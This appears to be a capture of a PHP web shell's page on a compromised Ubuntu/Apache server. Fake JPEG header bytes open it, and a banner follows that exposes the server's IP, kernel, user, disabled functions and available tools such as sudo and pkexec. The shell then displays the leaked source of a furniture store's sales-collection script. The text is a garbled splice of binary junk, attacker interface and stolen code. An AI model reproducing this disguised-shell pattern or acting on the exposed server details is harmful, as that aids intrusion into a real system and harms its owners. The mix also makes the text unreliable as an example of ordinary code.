����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.188.99.196 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/mueblesOLDMAYO/application/collection/ |
Upload File : |
<?php date_default_timezone_set("America/Mexico_City"); setlocale(LC_ALL,"es_ES"); session_start(); require_once ("../model/dbconn.php"); require_once ("../model/pos.php"); function display_to_sql($date){ return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2); } if( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && ( $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ) { $pos = new pos(); $method=$_POST['method']; //LISTAR LA TABLA DE VENTAS DE HOY PARA MANDAR A COBRO if($method == 'getdata'){ $pos = new pos(); $array = $pos->getListCollection(); $data = $array[2]; $i=0; foreach ($data as $key) { $button = '<button type="submit" id_item="'.$key['sale_id'].'" title="Cambiar Direccion" class="btn btn-sm btn-primary btnedit btn-block" id="btnedit'.$key['sale_id'].'" ><i class="fa fa-edit"> Detalles Adicionales</i></button> <button type="submit" id_item="'.$key['sale_id'].'" title="Cambiar Direccion" class="btn btn-sm btn-primary btnedit btn-block" id="btnedit2'.$key['sale_id'].'" ><i class="fa fa-edit"> Nva Direccion</i></button> <button type="submit" id_item="'.$key['sale_id'].'" title="Elminar de la Ruta" class="btn btn-danger btn-sm btndelete btn-block" id="btndelete'.$key['sale_id'].'" ><i class="fa fa-trash"></i> Cambio de Ruta</button>'; //1. obtenemos el id del cliente en base al contrato $id_item=$data[$i]['id_client']; $pos2 = new pos(); $array2 = $pos2->getCustomer($id_item); $id_cust = $array2[1]['id_cust']; $name_client = $array2[1]['name']; if($id_item<10){ $name_client = 'VENTA PUBLICO EN GENERAL'; } //2. ahora obtenemos pago minimo $pos3=new pos(); $data3= $pos3->getCollectionPay($id_cust); $pay_min= $data3[1]['min_pay']; $payday = $data3[1]['payday']; $txtpayment_period = $data3[1]['txtpayment_period']; switch($txtpayment_period) { case 1: $txtpayment_period= "S"; break; case 2: $txtpayment_period= "C"; break; case 3: $txtpayment_period= "Q"; break; case 4: $txtpayment_period= "M"; break; case 0: $txtpayment_period= "S"; break; } //obtenemos el enganche $enganche= $data[$i]['disc_rp']; //2a. obtenemos la fecha del siguiente abono en baso a dias de pago y periodicidad $date_pay1=date("l j F, Y"); //4. obtenemos si hay abonos y hacemos diferencia del total para que se obtenga el saldo //saldo = total- enganche - (abonos); $pos4=new pos(); $sale_id = $data[$i]['sale_id']; $data4= $pos4->getPays($id_item,$sale_id); $balance= abs($data4[1]['balance']); $saldo = $data[$i]['total'] - $enganche - $balance; //5.obtenemos el nombre del cobrador $pos5=new pos(); $collector_id = $data[$i]['id_collector']; $data5= $pos5->getEmployee($collector_id); $name_repartidor = $data5[1]['name']; //6. fecha del ultimo pago $pos6=new pos(); $data6= $pos6->getPaysUltimo($id_item); //fecha del ultimo abono $fechaUltimoAbono = $data6[1]['MAX(`created_at`)']; $var= $payday; switch($var) { case 7: $payday= " domingo"; break; case 1: $payday= "Lunes"; break; case 2: $payday= "Martes"; break; case 3: $payday= "Miercoles"; break; case 4: $payday= "Jueves"; break; case 5: $payday= "viernes"; break; case 6: $payday= "Sabado"; break; } $data[$i]['sale_id']= $data[$i]['sale_id']; $data[$i]['id_client']= $data[$i]['id_client']; $data[$i]['name_client'] = $name_client; //fecha de venta sigue////// $data[$i]['total'] = number_format($data[$i]['total'],2); $data[$i]['pay_min']= $pay_min; $data[$i]['payday'] = $payday; $data[$i]['txtpayment_period'] = $txtpayment_period; $data[$i]['enganche'] = number_format($enganche,2); $data[$i]['date_pay1'] = $date_pay1; $data[$i]['balance'] = number_format($saldo,2); $data[$i]['id_collector']= $name_repartidor; $data[$i]['button'] = $button; $i++; } $datax = array('data' => $data); echo json_encode($datax); } if($method == 'get_detail_item') { $id_item=$_POST['id_item']; $pos = new pos(); $data = $pos->getItem($id_item); $array['data'] = $data[1]; $array['result'] = $data[0]; echo json_encode($array); } if($method == 'save_item') { $iditem = $_POST['id_item']; $barcode = $_POST['barcode']; $nameitem = $_POST['item_name']; $unit= $_POST['unit']; $stock = $_POST['stock']; $price = $_POST['price']; $note = $_POST['note']; $crud=$_POST['crud']; $pos = new pos(); if($_POST['crud'] == 'N') { $array = $pos->saveItem($barcode,$nameitem,$price,$unit,$stock,$note); if($array[0] == true) { $result['id_item'] = $array[2]; } $result['result'] = $array[0]; } else { if($price>0){ $array = $pos->updateItem($iditem,$nameitem,$price,$unit,$stock,$note); $result['result'] = $array[0]; }else{ $result['result'] = false; } } $result['error'] = $array[1]; $result['crud'] = $_POST['crud']; echo json_encode($result); } if($method == 'save_category') { $fecha = date("Y-m-d h:i:s"); $nameitem = $_POST['item_name']; $created_at = $fecha; $crud=$_POST['crud']; $id=$_POST['cat']; $pos = new pos(); if($_POST['crud'] == 'N') { //GUARDAR $array = $pos->saveCategory( $nameitem, $created_at ); if($array[0] == true) { $result['id_item'] = $array[2]; } $result['result'] = $array[0]; } if($_POST['crud'] == 'E'){ //ACTUALIZA $array = $pos->editCategory( $nameitem,$id ); $result['result'] = $array[0]; } if($_POST['crud'] == 'D'){ //ACTUALIZA $array = $pos->delCategory($id); $result['result'] = $array[0]; } $result['error'] = $array[1]; $result['crud'] = $_POST['crud']; echo json_encode($result); } if($method == 'delete_item'){ $id_item=$_POST['id_item']; $pos = new pos(); $array = $pos->deleteItem($id_item); $data['result'] = $array[0]; $data['error'] = $array[1]; echo json_encode($data); } } else { exit('No direct access allowed.'); }